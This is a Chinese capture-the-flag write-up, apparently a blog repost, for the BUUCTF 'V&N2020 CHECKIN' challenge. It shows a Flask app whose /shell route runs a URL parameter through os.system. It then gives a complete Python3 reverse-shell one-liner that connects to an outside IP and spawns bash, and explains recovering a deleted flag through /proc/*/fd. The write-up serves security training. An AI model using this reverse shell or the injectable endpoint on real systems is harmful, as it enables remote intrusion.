BUUCTF:[V&N2020 公开赛]CHECKIN -- proc文件的利用 --- python反弹shell ---- python代码审计

没用buu的内网资源,直接用的自己的阿里云做的,
我用buu的 总是不好使,,,

一、自己做:

直接给源码。

from flask import Flask, request
import os
app = Flask(__name__)

flag_file = open("flag.txt", "r")
# flag = flag_file.read()
# flag_file.close()
#
# @app.route('/flag')
# def flag():
#     return flag
## want flag? naive!

# You will never find the thing you want:) I think

@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

@app.route('/')
def source():
    return open("app.py","r").read()

if __name__ == "__main__":
    app.run(host='0.0.0.0')

可以看到,是,本地中删除了这个文件,但是 是用 open函数打开的,

这个是摘自fd命令那个,

这个fd比较重要,因为在Linux系统中,如果一个程序用 open() 打开了一个文件,但是最终没有关闭它,即使从外部(如:os.remove(SECRET_FILE))删除这个文件之后,在/proc这个进程的 pid目录下的fd文件描述符 目录下 还是会有这个文件的文件描述符,通过这个文件描述符我们即可以得到被删除的文件的内容

然后发现,会执行我们的命令,无回显试执行,那应该就是python的反弹shell了

    exec_cmd = request.args.get('c')
    os.system(exec_cmd)

在这里插入图片描述
看看不到,那就直接反弹shell试一试。

二、学到的&&不足:

  1. 当python2不好使的时候,就换成python3就行了,就是多个数字的区别
  2. Linux小技巧,*可以用来当作那啥,任意匹配来用。
  3. 当找不到fd中的文件的时候,文件不一定再 self 这个进程中,还有可能在其他的进程中,所以我们就可以用*来代替,比如cat /proc/*/fd/*cat所有的进程中的文件,

三、学习WP:

然后发包没反应,,
然后是要用python3的payload来打:

这里要用python3来弄

python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('174.1.85.126',9999));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

在这里插入图片描述
但是没有flag.txt。

源码中有这几句:

flag_file = open("flag.txt", "r")

还有这个:

@app.route('/shell')
def shell():
    os.system("rm -f flag.txt")
    exec_cmd = request.args.get('c')
    os.system(exec_cmd)
    return "1"

我们每次执行命令前都会删除这个文件,那么,但是系统并灭有关闭flag.txt。而是直接将他删除了,

然后

在这里插入图片描述
这里有个小技巧, Linux中的* 可以匹配任意字符,
所以当我们 pid 进程号不知道的时候,可以用 *来代替,后面的 fd 后面的 那个序号不知道的话,也可以用 * 来进行匹配。
所以

ls /porc/*/fd/*这个是看到所有的文件路径。

在这里插入图片描述
然后我们直接全部cat就好了

cat /proc/*/fd/*

就能够看到flag了
在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/Zero_Adam/article/details/114917873